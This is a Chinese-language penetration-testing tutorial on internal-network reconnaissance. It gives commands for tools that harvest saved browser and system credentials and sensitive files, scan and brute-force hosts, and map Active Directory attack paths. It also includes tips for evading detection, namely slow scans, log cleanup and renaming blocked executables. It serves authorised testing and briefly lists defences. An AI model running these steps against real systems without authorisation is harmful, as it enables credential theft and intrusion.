1. 内网信息收集概述
在安全测试和渗透评估工作中,内网信息收集是最基础也是最重要的环节。通过系统化的信息收集,我们可以全面了解目标网络环境的结构、资产分布和安全状况,为后续的渗透测试和漏洞利用奠定基础。
内网信息收集主要分为三个方向:
- 本机凭据收集:获取当前已控制主机的敏感信息,如浏览器保存的密码、系统配置文件等
- 外部打点扫描:对内网其他主机进行探测和漏洞扫描,寻找可能的攻击路径
- 域环境分析:在AD域环境中,收集域控制器、用户、组策略等信息,分析域内关系
2. 本机凭据收集工具详解
2.1 HackBrowserData工具使用
HackBrowserData是一款专门用于提取浏览器保存的账号密码的工具,支持多种主流浏览器:
# 下载编译好的版本 wget https://github.com/moonD4rk/HackBrowserData/releases/download/v0.8.0/hack-browser-data-v0.8.0-linux-amd64.zip unzip hack-browser-data-v0.8.0-linux-amd64.zip # 基本使用(自动检测所有浏览器) ./hack-browser-data -b all -f json -o results注意:使用前请确保有合法的授权,未经授权获取他人密码属于违法行为
该工具支持以下浏览器:
- Chrome/Chromium系浏览器
- Firefox
- Edge
- Opera
- Brave
- Vivaldi
2.2 Searchall工具深度解析
Searchall是一个多功能信息收集工具,不仅可以提取浏览器密码,还能搜索系统中的敏感文件:
# 搜索指定路径下的敏感文件 .\searchall64.exe search -p C:\Users\ -f *.txt,*.doc,*.xls # 提取所有浏览器保存的密码 .\searchall64.exe browser -b all # 高级搜索示例(查找包含"password"的文件) .\searchall64.exe search -p C:\ -k "password" -e .config,.env常见使用场景:
- 查找配置文件中的数据库连接字符串
- 搜索开发人员留下的测试账号密码
- 收集文档中的敏感信息
- 提取浏览器自动保存的管理后台凭证
2.3 Pillager后渗透工具实战
Pillager是一款专门为后渗透阶段设计的信息收集工具,功能全面:
# 基本使用(收集所有信息) ./pillager -all -o output.json # 选择性收集 ./pillager -browser -ssh -ftp -o selective.json主要收集内容:
- 系统信息(OS版本、补丁、安装软件)
- 网络配置(IP、路由、ARP表)
- 用户信息(登录历史、会话、权限)
- 存储的凭据(浏览器、FTP、SSH、RDP)
- 敏感文件(配置文件、日志、备份)
3. 外部打点扫描技术
3.1 FScan综合扫描工具
FScan是一款功能强大的内网扫描工具,集成了多种扫描功能:
# 基础扫描(IP段和端口扫描) fscan -h 192.168.1.1/24 -p 21,22,80,443,3389 # 全面扫描(包含漏洞检测) fscan -h 192.168.1.1/24 -all # 输出结果到文件 fscan -h 10.0.0.1/24 -o result.txt扫描功能包括:
- 主机发现(ICMP/ARP)
- 端口扫描(TCP/SYN)
- 服务识别(Banner抓取)
- 漏洞检测(常见Web漏洞、弱口令)
- 暴力破解(SSH/RDP/FTP等)
3.2 Template启发式扫描
Template采用启发式方法进行内网探测,更加隐蔽:
# 基本扫描 .\Template.exe -t 192.168.1.1-192.168.1.254 # 高级模式(慢速扫描,避免触发告警) .\Template.exe -t 10.0.0.0/24 -m slow -r random特点:
- 动态调整扫描速度
- 随机化扫描顺序
- 多种协议支持(SMB/WMI等)
- 指纹识别准确率高
4. AD域环境分析技术
4.1 AdFind域信息收集
AdFind是域环境信息收集的瑞士军刀,功能强大:
:: 查询域控制器列表 AdFind.exe -sc dclist :: 获取域架构版本 AdFind.exe -schema -s base objectversion :: 查询特定用户 AdFind.exe -users name -samaccount eq "admin*" :: 获取计算机列表(带操作系统信息) AdFind.exe -f "objectcategory=computer" name operatingSystem常用查询场景:
- 查找高权限用户和组
- 识别域信任关系
- 分析组策略设置
- 查找服务账户
- 发现域委派配置
4.2 BloodHound可视化分析
BloodHound通过图形化方式展示域内关系:
# 使用SharpHound收集器(推荐) .\SharpHound.exe -c All --zipfilename output.zip # PowerShell版本 Import-Module .\SharpHound.ps1 Invoke-BloodHound -c All -OutputDirectory .\output关键分析步骤:
- 数据收集(使用SharpHound)
- 数据导入BloodHound界面
- 分析攻击路径(最短路径到域管)
- 识别危险权限(如GenericAll)
- 查找横向移动机会
5. 实战技巧与注意事项
5.1 信息收集最佳实践
- 分阶段收集:先基础信息,再针对性深入
- 多工具交叉验证:避免单一工具误报
- 注意日志清理:合理使用-log参数
- 结果统一存储:建议使用加密压缩包
- 标记重要发现:建立优先级体系
5.2 常见问题排查
问题1:工具执行被拦截
- 解决方案:尝试重命名可执行文件,使用合法签名版本
问题2:BloodHound数据导入失败
- 检查点:文件是否完整,Neo4j服务是否运行,浏览器缓存是否清理
问题3:扫描结果不准确
- 可能原因:网络限制,权限不足,工具版本过旧
问题4:域查询返回空结果
- 排查步骤:确认当前是否在域内,检查DNS设置,尝试指定域控制器
5.3 防御建议
对于防御方,建议:
- 限制PowerShell执行策略
- 监控异常LDAP查询
- 定期审计域内权限
- 禁用不必要的协议
- 实施网络分段
在实际测试中,我发现合理组合使用这些工具可以极大提高信息收集效率。比如先使用FScan进行快速扫描定位关键系统,再用AdFind深入分析域环境,最后通过BloodHound可视化攻击路径。这种分层递进的方法既全面又高效。